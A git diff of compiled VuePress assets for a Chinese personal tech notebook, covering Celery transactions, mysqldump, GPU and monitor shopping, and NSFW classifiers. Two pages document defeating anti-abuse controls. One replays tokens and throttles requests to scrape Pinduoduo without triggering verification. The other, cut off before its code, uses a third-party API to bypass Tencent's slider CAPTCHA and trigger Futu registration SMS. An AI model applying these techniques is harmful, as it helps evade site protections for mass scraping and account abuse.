`,20),t=[i];function d(o,p){return e(),s("div",null,t)}const c=a(n,[["render",d],["__file","异地组网.html.vue"]]);export{c as default}; diff --git "a/assets/\345\274\202\346\255\245\344\273\273\345\212\241\344\270\216\344\272\213\345\212\241_.html-Au8WpE6u.js" "b/assets/\345\274\202\346\255\245\344\273\273\345\212\241\344\270\216\344\272\213\345\212\241_.html-Au8WpE6u.js" new file mode 100644 index 0000000..33b1efd --- /dev/null +++ "b/assets/\345\274\202\346\255\245\344\273\273\345\212\241\344\270\216\344\272\213\345\212\241_.html-Au8WpE6u.js" @@ -0,0 +1 @@ +import{_ as t,o as e,c as d,a as r}from"./app-x8p6wK6B.js";const a={},_=r('# [异步任务与事务]
业务
用户可以开始任务
任务状态变成等待中,提交给celery,等待执行
这是,用户可以撤销任务
撤销任务:
任务状态变成ready
所以当还没被消费时,用户就撤销了,就很完美
但是已经开始消费了,用户再撤销,就会有bug
',10),c=[_];function s(o,h){return e(),d("div",null,c)}const n=t(a,[["render",s],["__file","异步任务与事务_.html.vue"]]);export{n as default}; diff --git "a/assets/\345\274\202\346\255\245\344\273\273\345\212\241\344\270\216\344\272\213\345\212\241_.html-lnVlJxsu.js" "b/assets/\345\274\202\346\255\245\344\273\273\345\212\241\344\270\216\344\272\213\345\212\241_.html-lnVlJxsu.js" new file mode 100644 index 0000000..bcfcaa1 --- /dev/null +++ "b/assets/\345\274\202\346\255\245\344\273\273\345\212\241\344\270\216\344\272\213\345\212\241_.html-lnVlJxsu.js" @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-29eb5e8d","path":"/web/%E5%BC%82%E6%AD%A5%E4%BB%BB%E5%8A%A1%E4%B8%8E%E4%BA%8B%E5%8A%A1_.html","title":"[异步任务与事务]","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"web/[异步任务与事务].md"}');export{e as data}; diff --git "a/assets/\346\225\260\346\215\256\344\274\240\350\276\223.html-ZbCJKGuL.js" "b/assets/\346\225\260\346\215\256\344\274\240\350\276\223.html-ZbCJKGuL.js" new file mode 100644 index 0000000..6a95a0b --- /dev/null +++ "b/assets/\346\225\260\346\215\256\344\274\240\350\276\223.html-ZbCJKGuL.js" @@ -0,0 +1,7 @@ +import{_ as a,o as e,c as s,a as n}from"./app-x8p6wK6B.js";const r={},t=n(`
事务A start_task 事务B revoke_task 判断Task state是否为cancel 修改Task state=cancel Save Task update_network_check_item_state = SEARCH_CATALOG Save NetworkCheckItem 成功或失败 Save NetworkCheckItem 等待0.8秒 Save NetworkCheckItem 修改Task = RUNNING Save Task 提交事务 提交事务 # 数据传输
# mysql dump
`,3),l=[t];function i(d,c){return e(),s("div",null,l)}const p=a(r,[["render",i],["__file","数据传输.html.vue"]]);export{p as default}; diff --git "a/assets/\346\225\260\346\215\256\344\274\240\350\276\223.html-b78wwm4X.js" "b/assets/\346\225\260\346\215\256\344\274\240\350\276\223.html-b78wwm4X.js" new file mode 100644 index 0000000..715ce0f --- /dev/null +++ "b/assets/\346\225\260\346\215\256\344\274\240\350\276\223.html-b78wwm4X.js" @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-07bbb0aa","path":"/notebook/%E6%95%B0%E6%8D%AE%E4%BC%A0%E8%BE%93.html","title":"数据传输","lang":"en-US","frontmatter":{},"headers":[{"level":3,"title":"mysql dump","slug":"mysql-dump","link":"#mysql-dump","children":[]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/数据传输.md"}');export{t as data}; diff --git "a/assets/\346\225\260\346\215\256\346\225\264\347\220\206.html-XAg1_BbR.js" "b/assets/\346\225\260\346\215\256\346\225\264\347\220\206.html-XAg1_BbR.js" new file mode 100644 index 0000000..0a75f9a --- /dev/null +++ "b/assets/\346\225\260\346\215\256\346\225\264\347\220\206.html-XAg1_BbR.js" @@ -0,0 +1 @@ +const l=JSON.parse('{"key":"v-6bb06026","path":"/notebook/%E6%95%B0%E6%8D%AE%E6%95%B4%E7%90%86.html","title":"数据整理","lang":"en-US","frontmatter":{},"headers":[{"level":2,"title":"处理笔记的分类方式","slug":"处理笔记的分类方式","link":"#处理笔记的分类方式","children":[{"level":3,"title":"笔记的种类:","slug":"笔记的种类","link":"#笔记的种类","children":[]},{"level":3,"title":"可用的笔记,提醒,便签软件","slug":"可用的笔记-提醒-便签软件","link":"#可用的笔记-提醒-便签软件","children":[]},{"level":3,"title":"场景","slug":"场景","link":"#场景","children":[]},{"level":3,"title":"找到合适的写日记软件","slug":"找到合适的写日记软件","link":"#找到合适的写日记软件","children":[]}]},{"level":2,"title":"照片相片的备份, 归纳","slug":"照片相片的备份-归纳","link":"#照片相片的备份-归纳","children":[{"level":3,"title":"调研","slug":"调研","link":"#调研","children":[]},{"level":3,"title":"ondrive","slug":"ondrive","link":"#ondrive","children":[]},{"level":3,"title":"google photo","slug":"google-photo","link":"#google-photo","children":[]}]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/数据整理.md"}');export{l as data}; diff --git "a/assets/\346\225\260\346\215\256\346\225\264\347\220\206.html-nkuQTRl9.js" "b/assets/\346\225\260\346\215\256\346\225\264\347\220\206.html-nkuQTRl9.js" new file mode 100644 index 0000000..9805e88 --- /dev/null +++ "b/assets/\346\225\260\346\215\256\346\225\264\347\220\206.html-nkuQTRl9.js" @@ -0,0 +1 @@ +import{_ as t,a as d}from"./20200911144457950_30869-783m7FV3.js";import{_ as e,o as a,c as r,a as h}from"./app-x8p6wK6B.js";const i={},o=h('mysqldump --tables myTable --where="id < 1000" + + +mysqldump --databases X --tables Y --where="1 limit 1000000" + +--no-create-info +
# 数据整理
# 处理笔记的分类方式
# 笔记的种类:
- 灵感
- 待办事项
- 日记
- 笔记
- 特殊的( 印象笔记剪藏,马克)
# 可用的笔记,提醒,便签软件
品名 平台 云同步 备注 OneNote 全平台 √ 编写代码感觉很差 印象笔记 全平台,免费版最多两台设备 √ 用来写日记,适合个人喜欢 微软待办 全平台 √ 习惯 android × 可以用来打卡,带有提醒 VNote 桌面端 × 配合onedrive可以同步,以及viki搭建博客 notion 全平台 √ (需要科学上网) 闪念胶囊 仅 # 场景
展示给别人看的博客 -- Vnote + viki + onedrive + drive to web 自己的日记 -- 印象笔记+ 日历
# 找到合适的写日记软件
notion -- 颜值即是正义
# 照片相片的备份, 归纳
# 调研
途径 价格 功能 备注 onedrive 5g免费 ¥40/年 1t(可以存储其他文件) 去年今日 和windows 搭配 google photo 15g免费 无限量的有损图片 自动处理,分类, 需要翻墙 nas 机器费用+网络费用 百度云盘 微云 # ondrive
家庭版本去闲鱼拼车大概可以做到 40一年 包含1t存储
# google photo
平时在公司的时候使用,其他时候上网不稳定因此不多使用
',18),n=[o];function s(l,c){return a(),r("div",null,n)}const b=e(i,[["render",s],["__file","数据整理.html.vue"]]);export{b as default}; diff --git "a/assets/\346\226\207\344\273\266\346\217\217\350\277\260\347\254\246\344\270\216\347\274\223\345\206\262\345\214\272.html-Ih5dLzYg.js" "b/assets/\346\226\207\344\273\266\346\217\217\350\277\260\347\254\246\344\270\216\347\274\223\345\206\262\345\214\272.html-Ih5dLzYg.js" new file mode 100644 index 0000000..c62d114 --- /dev/null +++ "b/assets/\346\226\207\344\273\266\346\217\217\350\277\260\347\254\246\344\270\216\347\274\223\345\206\262\345\214\272.html-Ih5dLzYg.js" @@ -0,0 +1,32 @@ +import{_ as e,r as p,o as t,c as o,b as n,d as c,e as l,a as s}from"./app-x8p6wK6B.js";const i={},u=s('# 文件描述符与缓冲区
# 文件描述符
在业务场景中,有时程序的log会把设备硬盘打满,这时就需要进行一个日志的删除,此时你会发现rm xx.log 并不能释放硬盘空间,重启程序后才可以释放
这是因为该程序已经申请了文件描述符,因此系统会保留文件,直到程序结束或停止占用。
不重启的方法是,echo '' > xx.log
# java FileReader
',6),r={href:"https://www.v2ex.com/t/935599",target:"_blank",rel:"noopener noreferrer"},k=s(`package io; + +import java.io.*; +import java.util.concurrent.TimeUnit; + +public class InodeTest { + public static void main(String[] args) throws IOException, InterruptedException { + BufferedReader reader = new BufferedReader(new FileReader("/Downloads/2020.zip"), 2); + String line; + while ((line = reader.readLine()) != null) { + System.out.println(line); + TimeUnit.MILLISECONDS.sleep(10); + } + } +} +
博主说几百兆的文件,他认为并没有全部读取到内存中,但是删除文件,程序可以继续读取
这里也是,echo '' > /Downloads/2020.zip 即可
# python demo
`,5);function d(m,v){const a=p("ExternalLinkIcon");return t(),o("div",null,[u,n("blockquote",null,[n("p",null,[n("a",r,[c("935599"),l(a)])])]),k])}const h=e(i,[["render",d],["__file","文件描述符与缓冲区.html.vue"]]);export{h as default}; diff --git "a/assets/\346\226\207\344\273\266\346\217\217\350\277\260\347\254\246\344\270\216\347\274\223\345\206\262\345\214\272.html-ihVAix4D.js" "b/assets/\346\226\207\344\273\266\346\217\217\350\277\260\347\254\246\344\270\216\347\274\223\345\206\262\345\214\272.html-ihVAix4D.js" new file mode 100644 index 0000000..6eb219e --- /dev/null +++ "b/assets/\346\226\207\344\273\266\346\217\217\350\277\260\347\254\246\344\270\216\347\274\223\345\206\262\345\214\272.html-ihVAix4D.js" @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-579922c2","path":"/notebook/%E6%96%87%E4%BB%B6%E6%8F%8F%E8%BF%B0%E7%AC%A6%E4%B8%8E%E7%BC%93%E5%86%B2%E5%8C%BA.html","title":"文件描述符与缓冲区","lang":"en-US","frontmatter":{},"headers":[{"level":3,"title":"文件描述符","slug":"文件描述符","link":"#文件描述符","children":[]},{"level":3,"title":"java FileReader","slug":"java-filereader","link":"#java-filereader","children":[]},{"level":3,"title":"python demo","slug":"python-demo","link":"#python-demo","children":[]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/文件描述符与缓冲区.md"}');export{e as data}; diff --git "a/assets/\346\230\276\345\215\241.html-XE63hcjH.js" "b/assets/\346\230\276\345\215\241.html-XE63hcjH.js" new file mode 100644 index 0000000..7cd85e3 --- /dev/null +++ "b/assets/\346\230\276\345\215\241.html-XE63hcjH.js" @@ -0,0 +1 @@ +import{_ as t,o as s,c as p,a as e}from"./app-x8p6wK6B.js";const a="/assets/20221121134210181_20921-NCRj5vsy.png",o="/assets/20221121134247040_13313-01QZcw1E.png",n="/assets/20221121134803539_27462-FSYqWKCt.png",c="/assets/20221209180120985_22521-BGo8JcQo.png",i="/assets/20230117102418974_24620-A5goY1hE.png",r="/assets/194035815278790-0CpyiHN8.png",g={},_=e('with open("demofile",'wb') as f: + for i in range(1000*1000): + f.write('asdasdasdasdasdasdasd\\n'.encode()) +import time + +f = open("demofile", 'r' ,encoding='utf8') + +index = 0 +for i in f: + index += 1 + if index % 100 == 0: + print(index) + time.sleep(1) + # print(i) + +f.close() +
# 显卡
# 2023 5.19
970 4g 3700 980ti 5776 980 4337
1080 ti 8g 9875 1080 7542
2070s 10123 2070 8925 2080ti 11g 14655 2080s 11588 2080 10996
3060ti 8g 12200 4.88 3060 12g 8696 (notebook)3060 6g 8300
3070ti 8g 148263080ti 19568 3080 10g 17500 3090 24g 19799
4080 16g 28125 16g 8000 4070ti 12g 22753 12g 5800 3.92 4070 12g 17873 12g 4200 4.25 4060 8g 10200 2100
(*notebook)4080 12g 18890
6950xt 16g 21721 淘宝4400 6800xt 16g 19550 讯景6800XT海外版 3649 https://m.tb.cn/h.UF3ojs4 无个人送保 5.35 6750xt 12g 13588 瀚铠6750XT合金 2499元 5.43 6650xt 8g 10000 ️瀚铠6650XT合金 1789元 https://m.tb.cn/h.UE6t1Dh 5.58 6600xt 8g 9500 ④淘宝️⭐️瀚铠6600XT 1544 https://m.tb.cn/h.UFCpx8G 6.15
(*notebook)4060 10473 6000 (*notebook)4050 8300
# game fps
因此,可以选4070+4k144,
4k144 = 2500 4070 = 4200
',20),h=[_];function m(d,l){return s(),p("div",null,h)}const x=t(g,[["render",m],["__file","显卡.html.vue"]]);export{x as default}; diff --git "a/assets/\346\230\276\345\215\241.html-uOqhkSyc.js" "b/assets/\346\230\276\345\215\241.html-uOqhkSyc.js" new file mode 100644 index 0000000..d7d6088 --- /dev/null +++ "b/assets/\346\230\276\345\215\241.html-uOqhkSyc.js" @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-0ad25c3f","path":"/notebook/%E6%98%BE%E5%8D%A1.html","title":"显卡","lang":"en-US","frontmatter":{},"headers":[{"level":2,"title":"game fps","slug":"game-fps","link":"#game-fps","children":[]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/显卡.md"}');export{e as data}; diff --git "a/assets/\346\230\276\345\215\241\351\234\200\346\261\202\345\210\206\346\236\220.html-mEHcJKxM.js" "b/assets/\346\230\276\345\215\241\351\234\200\346\261\202\345\210\206\346\236\220.html-mEHcJKxM.js" new file mode 100644 index 0000000..6eabcd0 --- /dev/null +++ "b/assets/\346\230\276\345\215\241\351\234\200\346\261\202\345\210\206\346\236\220.html-mEHcJKxM.js" @@ -0,0 +1 @@ +import{_ as n,r as e,o as r,c as i,b as p,d as t,e as o,w as c,a as l}from"./app-x8p6wK6B.js";const h="/assets/194035815278790-0CpyiHN8.png",m="/assets/143302995899560-QLa9npRq.png",d="/assets/399381599836319-B5jf8FFP.png",_="/assets/21323416278796-xygIMZaK.png",k="/assets/19550911278872-YgjUDoc8.png",u="/assets/267571311278872-aiy3JK4f.png",g={},f=p("h1",{id:"显卡需求分析",tabindex:"-1"},[p("a",{class:"header-anchor",href:"#显卡需求分析","aria-hidden":"true"},"#"),t(" 显卡需求分析")],-1),b={href:"https://www.techpowerup.com/review/nvidia-geforce-rtx-4070-founders-edition/single-page.html#introduction",target:"_blank",rel:"noopener noreferrer"},x=l('# 显卡fps表
上图中,是最高特效,所以,其实60帧数很优秀了
可以看到, 3060ti基本满足游戏4k60,但是2k144跑不满 可以考虑购买的,先买2k144,然后换4k144(因为4k144不成熟,价格不低,没必要一步到位) 或者直接买4k144,目前有2500的款式,感觉贵
方案1: 总价:3060ti 8g+2k 165(2500+1200 = 3700), 畅玩2k 90fps,可用3.5年 提升:换显卡换显示器(那不是全换了吗,傻逼) 方案2: 总价 4070 12g+4k 144(4200 + 2500 = 6700), 畅玩4k 73fps 可用6年 提升:加个2k显示器
2k又和1080p差不多,所以2k144
买2500的3060ti g6x,可以畅玩2k144 为了能用久一些,多加3000,购买4070,提升了
长度 30+ 35,都可
宽度: 6cm以内,50最好
gtx 970冰龙 长度:300mm,高度:111mm;厚度:约6cm 350 电竞判客 319 117 49 4200 turbo 329 133 64 4200 ultra w 337 150 60 4400
要解决几个问题
- 蚂蚁ant27vu这款,是不是有不满血hdmi2.1的问题
蚂蚁电竞 ANT27VU 2699元 【推荐度】:高。 【定位】:SDR游戏
【配置】:友达7.0 OC,400nit亮度,传统LED背光,双HDMI 2.1,USB Type-C 15W
【总评】:4K高刷中的性价比之王,LG 27GP95R的低价平替,知乎吴彦祖亲手调教的产物
【注意】:这个显示器已经从友达2.3升级到友达7.0,而且加量不加价!但是老款和新款名字是一样的,判断新老的方法很简单:4K 160Hz的就是友达7.0的新款,4K 144Hz的是友达2.3老款。
【优点】
1,友达7.0新面板带来更好的观感和响应速度(4.0ms),远超友达2.3,略胜群创E7B
2,接口丰富,做工良心,外观属于中配,比上面两个低配的要好很多。
3,背面RGB灯非常好看,正面还有投影灯(有点ROG的感觉,emmm,一定是借鉴!!!)
4,色域高,95% Adobe + 94% P3,同时适合摄影设计和大型单机游戏。
此外,就这个价位来说,它的均匀性还是不错的。得益于新面板它有着2.8ms的超快响应速度,逼近IPS面板的极限,所以也适合FPS游戏。
【缺点】
1,关机后显示器上的灯不会自动关闭,烦死人
2,HDMI 2.1接口在某些显卡上无法支持G-Sync,PC玩家用DP接口的话,可以无视这个缺点
- aoc u27g3x 这款,不带typec,有没有混发面板问题
AOC U27G3X 3199元 [推荐度]:高。(定位]: SDR游戏,护眼办公 [配置]: 友达7.0 0C,400nit亮度,传统LED背光,双HDMI 2.1 [总评] : 性价比很高的硬件低蓝光显示器,友达7.0新面板,值得无脑入手! [优点) 1,友达7.0新面板赋予了高响应速度,较好的观感,明显比友达2.3的一帮弟弟们要出色2,自带硬件抗蓝光,非常护眼,尤其适合文字工作者。虽然可能不是原厂模组,但是AOC也给 用上了支持硬件低蓝光的背光。 [缺点) 1,没有USB Type-C和USB-A扩展接口 2,调色方案比较激进,有些人可能觉得它的颜色太艳丽,也有些人恰好喜欢它的颜色 3,AOC这个系列的产品做工一般,远不如爱攻系列
泰坦p27a2v这款,面板是不是7.0
hkc vg273upro 不带typec, 有没有问题 HKC VG273Upro 2699元 【推荐度】:中。 【定位】:SDR游戏
【配置】:友达7.0 OC,400nit亮度,传统LED背光,双HDMI 2.1,USB Type-C 15W
【总评】:这和蚂蚁ANT 27VU就是同一个东西,只是外壳不同,两个机器就是同一条生产线出来。HKC这台在外观做工上比蚂蚁ANT 27VU差,所以同价位下请买蚂蚁。
有时候VG273Upro会比ANT 27VU便宜100-200元,如果你不在乎外观,也可以买VG273Upro。
# 2k高刷&4k办公
Y27h-30。4USB-A+90W的Type-c 2k
飞利浦279P1 1999 90w 评论少 好评600 发布时间21年11月
vx2762-4k-mhdu 好评1000+,差评8,中评1 VX2880-4K-HDU-2 1499 hub hdr400 99%srgb tvu认证 65w 升降旋转 94% 2900+好评 VX2780-4K-HD-2 1650 hdr400 94% 1400好评 vx2731-4k 1299 99%srgb
aoc u27n3c 1799 唤醒慢 发布时间21年11月 5300好评 94% 每次从睡眠中唤醒,一线智联就不好用,typec线重新插拔一次
lg 27up600
27ul650 1750
雷电无信号:
ThinkPad的显示器识别问题和雷电接口故障解决 https://zhuanlan.zhihu.com/p/529323703
我的是关机拔掉充电器,长按电源键开机然后自动关机,再插上电源开机就好了 https://bbs.thinkpad.com/thread-7823411-1-1.html
为什么12代Intel笔记本雷电4或USB4外接显示器不支持Type-C DP独显直连? https://www.bilibili.com/read/cv16411870
notebook/图形抗锯齿.md
',47);function B(D,C){const s=e("ExternalLinkIcon"),a=e("RouterLink");return r(),i("div",null,[f,p("blockquote",null,[p("p",null,[t("4070 in techpower "),p("a",b,[t("single-page.html#introduction"),o(s)])])]),x,p("p",null,[o(a,{to:"/notebook/%E5%9B%BE%E5%BD%A2%E6%8A%97%E9%94%AF%E9%BD%BF.html"},{default:c(()=>[t("图形抗锯齿.md")]),_:1})])])}const w=n(g,[["render",B],["__file","显卡需求分析.html.vue"]]);export{w as default}; diff --git "a/assets/\346\230\276\345\215\241\351\234\200\346\261\202\345\210\206\346\236\220.html-s8yVhWzc.js" "b/assets/\346\230\276\345\215\241\351\234\200\346\261\202\345\210\206\346\236\220.html-s8yVhWzc.js" new file mode 100644 index 0000000..c48d950 --- /dev/null +++ "b/assets/\346\230\276\345\215\241\351\234\200\346\261\202\345\210\206\346\236\220.html-s8yVhWzc.js" @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-2305be92","path":"/notebook/%E6%98%BE%E5%8D%A1%E9%9C%80%E6%B1%82%E5%88%86%E6%9E%90.html","title":"显卡需求分析","lang":"en-US","frontmatter":{},"headers":[{"level":2,"title":"显卡fps表","slug":"显卡fps表","link":"#显卡fps表","children":[]},{"level":2,"title":"2k高刷&4k办公","slug":"_2k高刷-4k办公","link":"#_2k高刷-4k办公","children":[]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/显卡需求分析.md"}');export{e as data}; diff --git "a/assets/\346\234\272\345\231\250\345\255\246\344\271\240-nsfw.html-LUhq-R2z.js" "b/assets/\346\234\272\345\231\250\345\255\246\344\271\240-nsfw.html-LUhq-R2z.js" new file mode 100644 index 0000000..46a936f --- /dev/null +++ "b/assets/\346\234\272\345\231\250\345\255\246\344\271\240-nsfw.html-LUhq-R2z.js" @@ -0,0 +1,10 @@ +import{_ as e,o as t,c as n,a as i}from"./app-x8p6wK6B.js";const o={},s=i(`# nsfw
调研
# 0. https://github.com/yahoo/open_nsfw
python2
训练好的模型 https://github.com/TechnikEmpire/NsfwSqueezenet
python3版本(不可用) -> https://github.com/rahiel/open_nsfw-
可远程调用版本 版本1 https://github.com/loretoparisi/docker/tree/master/nsfwaas
版本2 https://github.com/nikos-glikis/nsfw-docker
https://github.com/rockyzhengwu/nsfw
# 1. https://github.com/devzwy/open_nsfw_android
离线识别,基于TensorFlow实现。识别只需20ms,可断网测试,成功率99%,调用只要一行代码,从雅虎的开源项目open_nsfw移植,该模型文件可用于iOS、java、C++等平台
python 版本(识别率很低) https://github.com/devzwy/NSFW-Python
# 2. https://github.com/mdietrichstein/tensorflow-open_nsfw
仅支持jpeg
# 3. https://github.com/yangbisheng2009/nsfw-resnet
要自己训练
# 4. https://github.com/EugenCepoi/nsfw_api
一键docker 带api 可流式读取输出(非常快,目前使用)
`,19),a=[s];function h(r,p){return t(),n("div",null,a)}const c=e(o,[["render",h],["__file","机器学习-nsfw.html.vue"]]);export{c as default}; diff --git "a/assets/\346\234\272\345\231\250\345\255\246\344\271\240-nsfw.html-WfHOs-eL.js" "b/assets/\346\234\272\345\231\250\345\255\246\344\271\240-nsfw.html-WfHOs-eL.js" new file mode 100644 index 0000000..7eb8725 --- /dev/null +++ "b/assets/\346\234\272\345\231\250\345\255\246\344\271\240-nsfw.html-WfHOs-eL.js" @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-4e710776","path":"/python/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0-nsfw.html","title":"nsfw","lang":"en-US","frontmatter":{},"headers":[{"level":2,"title":"0. https://github.com/yahoo/open_nsfw","slug":"_0-https-github-com-yahoo-open-nsfw","link":"#_0-https-github-com-yahoo-open-nsfw","children":[]},{"level":2,"title":"1. https://github.com/devzwy/open_nsfw_android","slug":"_1-https-github-com-devzwy-open-nsfw-android","link":"#_1-https-github-com-devzwy-open-nsfw-android","children":[]},{"level":2,"title":"2. https://github.com/mdietrichstein/tensorflow-open_nsfw","slug":"_2-https-github-com-mdietrichstein-tensorflow-open-nsfw","link":"#_2-https-github-com-mdietrichstein-tensorflow-open-nsfw","children":[]},{"level":2,"title":"3. https://github.com/yangbisheng2009/nsfw-resnet","slug":"_3-https-github-com-yangbisheng2009-nsfw-resnet","link":"#_3-https-github-com-yangbisheng2009-nsfw-resnet","children":[]},{"level":2,"title":"4. https://github.com/EugenCepoi/nsfw_api","slug":"_4-https-github-com-eugencepoi-nsfw-api","link":"#_4-https-github-com-eugencepoi-nsfw-api","children":[]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"python/机器学习-nsfw.md"}');export{t as data}; diff --git "a/assets/\347\210\254\350\231\253-pdd\350\260\203\347\240\224.html-iLBF0K6T.js" "b/assets/\347\210\254\350\231\253-pdd\350\260\203\347\240\224.html-iLBF0K6T.js" new file mode 100644 index 0000000..c5271a9 --- /dev/null +++ "b/assets/\347\210\254\350\231\253-pdd\350\260\203\347\240\224.html-iLBF0K6T.js" @@ -0,0 +1 @@ +const l=JSON.parse('{"key":"v-6e1b0644","path":"/python/%E7%88%AC%E8%99%AB-pdd%E8%B0%83%E7%A0%94.html","title":"pdd调研","lang":"en-US","frontmatter":{},"headers":[{"level":2,"title":"h5端","slug":"h5端","link":"#h5端","children":[{"level":3,"title":"渠道一:首页","slug":"渠道一-首页","link":"#渠道一-首页","children":[]},{"level":3,"title":"渠道二:分类","slug":"渠道二-分类","link":"#渠道二-分类","children":[]},{"level":3,"title":"渠道三: 搜索","slug":"渠道三-搜索","link":"#渠道三-搜索","children":[]}]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"python/爬虫-pdd调研.md"}');export{l as data}; diff --git "a/assets/\347\210\254\350\231\253-pdd\350\260\203\347\240\224.html-ylPxeOwC.js" "b/assets/\347\210\254\350\231\253-pdd\350\260\203\347\240\224.html-ylPxeOwC.js" new file mode 100644 index 0000000..c005a02 --- /dev/null +++ "b/assets/\347\210\254\350\231\253-pdd\350\260\203\347\240\224.html-ylPxeOwC.js" @@ -0,0 +1 @@ +import{_ as s,o as t,c as a,a as p}from"./app-x8p6wK6B.js";const e="/assets/20201028153839771_805-cmkxF9kR.png",i="/assets/20201028154016449_11872-hdGUXOME.png",r="/assets/20201028111849591_17629-qHhsPnSN.png",_="/assets/20201028143720450_16306-kIRzpCo2.png",c="/assets/20201028143741429_31672-49mnKWTl.png",n="/assets/20201028112620077_29096-nP_fmyqj.png",o="/assets/20201028112637988_17637-ZPWbOD8Z.png",l="/assets/20201028112704364_31298-EEcfg45a.png",d="/assets/20201028112723365_22810-ZPTRYmvU.png",m="/assets/20201028112741659_23346-9v_O1g-B.png",h="/assets/20201028113043407_26300-eYJszmty.png",g="/assets/20201028143855586_15749-J-YRX282.png",f="/assets/20201028143917116_14446-Hif_DF24.png",u="/assets/20201028145335586_24818-wb6LNbXY.png",b="/assets/20201028145447224_19742-kmDrGdfN.png",k={},x=p('docker run -it -p 127.0.0.1:5000:5000/tcp --env PORT=5000 eugencepoi/nsfw_api:latest + + +curl -X GET -H 'Content-Type: application/json' http://localhost:5000\\?url\\=https://www.google.com/images/branding/googlelogo/2x/googlelogo_color_272x92dp.png + +{ + "score": 0.00016061133646871895, + "url": "https://www.google.com/images/branding/googlelogo/2x/googlelogo_color_272x92dp.png" +} +
# pdd调研
需求: 全量爬取拼多多商品
拼多多有以下客户端:
- h5端
- app端
其中h5端有加密,无法破解
# h5端
- 首页推荐下滑 不需要登录, 按推荐展示商品, 每个分类最多2000商品, 即使登录了也只有2000个
- 分类 需要登录, 理论上可获取选择的分类的所有商品
- 搜索 需要登录, 理论上可获取和搜索关键词有关的的所有商品
# 渠道一:首页
推荐: 下滑拉取400个后, 显示查看更多
这个推荐手动拉到600左右, 如果太快就会触发验证
登录后, 在首页进行下滑, 可拉取该分类的最多2000条商品(根据不同账号, 推荐可能不同)
经过尝试, 虽然有加密, 但是一个token可以多次发送请求(可模拟器拉取一次后重放), 但是最多有2000条数据
且频率太快会触发安全验证(使用模拟下滑,.8-20秒发一次请求, 近300次请求不会触发验证)
# 渠道二:分类
参数如下
# 渠道三: 搜索
经测试这种方式获取商品无上限, 例如搜索
手机
, page 设置为50000 仍可获取到数据(可能会给重复数据)',29),P=[x];function q(v,E){return t(),a("div",null,P)}const R=s(k,[["render",q],["__file","爬虫-pdd调研.html.vue"]]);export{R as default}; diff --git "a/assets/\347\210\254\350\231\253-\344\275\277\347\224\250\346\216\245\345\217\243\350\277\207tx\346\273\221\345\235\227\351\252\214\350\257\201.html-I3bwLb3R.js" "b/assets/\347\210\254\350\231\253-\344\275\277\347\224\250\346\216\245\345\217\243\350\277\207tx\346\273\221\345\235\227\351\252\214\350\257\201.html-I3bwLb3R.js" new file mode 100644 index 0000000..d23fe2d --- /dev/null +++ "b/assets/\347\210\254\350\231\253-\344\275\277\347\224\250\346\216\245\345\217\243\350\277\207tx\346\273\221\345\235\227\351\252\214\350\257\201.html-I3bwLb3R.js" @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-d4a5a1a8","path":"/python/%E7%88%AC%E8%99%AB-%E4%BD%BF%E7%94%A8%E6%8E%A5%E5%8F%A3%E8%BF%87tx%E6%BB%91%E5%9D%97%E9%AA%8C%E8%AF%81.html","title":"使用接口过tx滑块验证","lang":"en-US","frontmatter":{},"headers":[{"level":3,"title":"0x00 抓包分析","slug":"_0x00-抓包分析","link":"#_0x00-抓包分析","children":[]},{"level":3,"title":"0x01 获取ticket和randstr","slug":"_0x01-获取ticket和randstr","link":"#_0x01-获取ticket和randstr","children":[]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"python/爬虫-使用接口过tx滑块验证.md"}');export{t as data}; diff --git "a/assets/\347\210\254\350\231\253-\344\275\277\347\224\250\346\216\245\345\217\243\350\277\207tx\346\273\221\345\235\227\351\252\214\350\257\201.html-TeytDI-l.js" "b/assets/\347\210\254\350\231\253-\344\275\277\347\224\250\346\216\245\345\217\243\350\277\207tx\346\273\221\345\235\227\351\252\214\350\257\201.html-TeytDI-l.js" new file mode 100644 index 0000000..45ac5c3 --- /dev/null +++ "b/assets/\347\210\254\350\231\253-\344\275\277\347\224\250\346\216\245\345\217\243\350\277\207tx\346\273\221\345\235\227\351\252\214\350\257\201.html-TeytDI-l.js" @@ -0,0 +1,62 @@ +import{_ as n,o as s,c as a,a as t}from"./app-x8p6wK6B.js";const e="/assets/20200901183418861_6495-bTW84ikP.png",p="/assets/20200901183528812_6549-HohvyDgv.png",o="/assets/20200901193852676_25722-MuH2SkjC.png",i="/assets/20200901183708535_18118-C3ZqngYK.png",c="/assets/20200901183832304_18855-ATV1U73Z.png",l={},u=t('
- 需要关键词
# 使用接口过tx滑块验证
使用的接口 https://www.notion.so/T-X-HTTP-637bca0458704724a5692a0e283ff5aa
过验证码场景: 富途 https://passport.futunn.com/?target=https%3A%2F%2Fsetup2.futu5.com%2F&lang=zh-cn
# 0x00 抓包分析
首先我们手动操作一波, 发现三个和验证码有关的请求
其中第一个是用来展示验证码的, 抓包可以得到aid
第二个则是我们将滑块滑倒尾端后发出的验证请求, 如果成功则可以得到
ticket
和randstr
- 接着是注册账号时发送短信验证码的请求, 可以看到里面有上个请求获取到的
ticket
和randstr
字段也就是说, 只要获取到ticket 等信息, 就可以发送短信验证码
# 0x01 获取ticket和randstr
以下代码是对api的进一步封装
用到的接口: https://www.notion.so/T-X-HTTP-637bca0458704724a5692a0e283ff5aa
